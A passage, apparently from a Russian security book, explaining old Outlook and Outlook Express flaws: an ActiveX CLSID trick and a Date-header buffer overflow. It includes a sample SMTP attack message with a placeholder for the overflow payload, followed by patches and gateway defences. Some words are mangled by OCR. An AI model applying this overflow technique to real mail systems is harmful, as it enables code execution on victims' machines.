Однако в процессе тестирования выяснилось, что для того, чтобы этот способ успешно сработал, требуется удачное расположение планет. Первое необходимое условие заключается в том, что нужно, чтобы в программе Outlook Express 5.00.2615.200 для зоны был установлен уровень безопасности Low. Кроме того, при попытке запуска файла calc.exe из папки System появлялось диалоговое окно с предупреждением о неподписанном элементе управления. Для такого стечения обстоятельств пользователи должны быть достаточно безграмотны. Но если проделать это все же удастся, то появляются заманчивые перспективы, особенно при использовании этого способа совместно с возможностью записи файлов на диск, предложенной на Web-yxie malware. com.
Контрмеры против использования ненулевого параметра CLSID
Основываясь на результатах тестирования, авторы утверждают, что установка соответствующего уровня безопасности зоны позволит устранить эту проблему (см. в предыдущих разделах описание зон безопасности).
Переполнение буфера поля даты в программах Outlook и Outlook Express
Возможно, кому-то из читателей показалось, что стержнем большинства типов атак являются элементы управления ActiveX. 18 июля 2000 года в бюллетене Bugtraq появилось сообщение об изъяне программ Outlook и Outlook Express совсем другого типа, не имеющем ничего общего с элементами ActiveX.
Проблема заключается в классическом переполнении буфера, причиной которого может послужить заполнение раздела GMT (Greenwich Mean Time — среднее время по Гринвичу) поля даты заголовка электронного сообщения чрезмерно большой порцией данных. В процессе загрузки такого сообщения через протоколы РОРЗ или IMAP4 файл INCETCOMM.DLL, который отвечает за анализ значения GMT, не выполняет необходимой проверки переполнения границ. Это приводит к возникновению аварийной ситуации в программах Outlook и Outlook Express и возможности запуска произвольного кода. Ниже приведен пример кода, работа которого основана на наличии этого изъяна.
Date: Tue, 18 July 2000 14:16:06 +<около 1000 байтхкод для запуска>
В этой книге уже неоднократно упоминалось, что возможность запуска в системе произвольного кода открывает неограниченные возможности. Коварное сообщение позволяет незаметно установить программу типа "троянский конь". Через него могут распространяться "черви", а, кроме того, оно может дискредитировать целевую систему, запускать вложения — одним словом, делать практически все, что заблагорассудится.
Пользователям Outlook Express достаточно лишь открыть папку с представляющим опасность сообщением, и они сразу же становятся уязвимыми. Простая загрузка такого сообщения в процессе проверки почты может привести к переполнению буфера и возникновению исключительной ситуации. Таким образом, пользователи ОЕ попадают в замкнутый круг: сообщение не может нормально загрузиться, а его содержимое приводит к аварии программы при каждой последующей попытке восстановить почтовую программу. Одним из способов устранения описанной проблемы является просмотр почты и удаление вызвавшего аварию сообщения (при условии, что мы можем его "вычислить") с помощью почтового клиента, отличного от Outlook/OE. Это легко сделать, используя программу Netscape Messenger, в окне предварительного просмотра которой отображается дата сообщения, по которой можно понять, какое из сообщений привело к сбою. Пользователи Outlook уязвимы во время предварительного просмотра, чтения и пересылки сообщения, вызывающего неполадки, а также тогда, когда они на него отвечают.
Первоначально код, основанный на данном изъяне, был опубликован в бюллетене Bugtraq. Однако позже выяснилось, что данный подход можно применять лишь против сервера, входящего в состав частной локальной сети. Поэтому он неприменим, если его использовать портив пользователя, подсоединенного к Internet через модем. Как представляется, эта публикация стала результатом ошибки Аарона Дрю (Aaron Drew), который, по-видимому, пытался применить подход, подобный описанному в этой главе методу капсулы для взлома электронной почты, но вместо этого ошибочно отправил свое сообщение в бюллетень Bugtraq. Подготовленное для официального оглашения, это сообщение выглядело бы следующим образом (обратите внимание на строку Date, в которой для краткости опущены данные, вызывающие переполнение; в примере они заключены в квадратные скобки, которые не являются необходимыми).
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
Date: Sun, 7 May 2000 11:20:46
+[~1000 байт + код в шестнадцатеричном формате или ascii]
Subject: Date overflow!
Importance: high MIME-Version:
1.0 'Content-Type: text/plain;
charset=us-ascii
This is a test of the Outlook/OE date field overflow,
quit
Группа Underground Security Systems Research (USSR, http://www.ussrback.com) также сообщила о том, что обнаружила эту брешь (по крайней мере, об этом заявил хакер Метатрон (Metatron)). Однако, по их утверждению, они не стали сообщать о ней публично, ожидая, пока Microsoft выпустит соответствующий модуль обновления. На базе этого изъяна группа USSR опубликовала свою реализацию, что вызвало интерес к их Web-узлу. Код запускается почти таким же образом, как и в предыдущем примере.
Контрмеры против переполнения поля даты
Согласно информационному сообщению компании Microsoft, которое можно найти на ее Web-узле по адресу http://www.microsoft.com/technet/
security/bulletin/ MS00-043.asp, изъян может быть устранен с помощью модуля обновления, находящегося по адресу http://www.microsoft.com/windows/
ie/download/critical/patch9.htm.
Кроме того, эту проблему можно решить, установив одно из следующих обновлений с параметрами, принятыми по умолчанию.
Internet Explorer 5.01 Service Pack 1.
Internet Explorer 5.5 на любую систему за исключением Windows 2000.
Если выполняется установка, отличная от установки по умолчанию, и во время этого процесса устанавливаются обновленные компоненты Outlook Express, то эта уязвимость также устраняется (при этом у пользователя будет возможность соответствующего выбора).
При установке на компьютер с операционной системой Windows 2000 IE 5.5 не устанавливает обновленные компоненты Outlook Express, поэтому этот изъян не устраняется.
Следует также заметить, что по утверждению компании Microsoft пользователи Outlook, у которых эта программа настроена только для использования служб MAPI, не подвержены негативному влиянию, независимо от установленной у них версии Internet Explorer. Если службы электронной почты Internet не установлены (Tools>Services), то библиотека INETCOMM.DLL не используется.
Защита шлюзов
Надежная стратегия защиты на уровне сети является наиболее эффективным способом защиты большого количества пользователей. В качестве средства для решения многих описанных в этой главе проблем, конечно же, следует выбрать брандмауэр. Особое внимание нужно уделять спискам управления доступом из глобальной сети, которые могут стать мощной преградой для коварного кода, пытающегося проникнуть на плохо настроенные внутренние серверы.
Кроме того, имеется множество программных продуктов, осуществляющих сканирование входящей электронной почты и трафика Web и выполняющих поиск опасного мобильного кода. Одним из таких примеров является пакет SurfinGate компании Finjan , который можно использовать на границе сети (в качестве дополнения к существующему брандмауэру или в качестве proxy-сервера) для проверки всего получаемого извне кода Java, элементов ActiveX, JavaScript, исполняемых файлов, сценариев на Visual Basic и файлов cookie. Затем на основе действий, запрашиваемых каждым модулем кода, программа SurfinGate создает соответствующий профиль. Далее модули однозначно идентифицируются с помощью хэш-кода MD5, так что при загрузке каждого модуля требуется лишь одно сканирование. Созданный профиль сравнивается с политикой безопасности, созданной сетевым администратором. Затем на основе результатов сравнения программой SurfinGate принимаются "разрешающие" или "блокирующие" решения. Компания Finjan предоставляет также различные версии программы SurfinGuard, которая обеспечивает механизм защиты против необдуманного запуска загруженного кода.
Интересная технология, реализованная компанией Finjan, помогает загруженным и малоинформированным пользователям в решении проблемы защиты от мобильного кода. Дополнительным преимуществом этого заградительного барьера является его способность предотвращать атаки с применением средств сжатия исполняемых файлов в формате РЕ (portable executable), которые способны уплотнять .ЕХЕ файлы Win32 и фактически изменять их бинарную подпись. В результате уплотненный исполняемый файл может ввести в заблуждение любой статический механизм вирусной проверки, поскольку исходный файл . ЕХЕ не извлекается до его запуска (поэтому традиционная проверка ничего не дает). Конечно же, успех такой стратегии зависит от принятой политики безопасности и заданных параметров специального программного обеспечения, которые по-прежнему настраиваются теми же безответственными людьми, которые повинны во многих описанных в этой главе ошибках.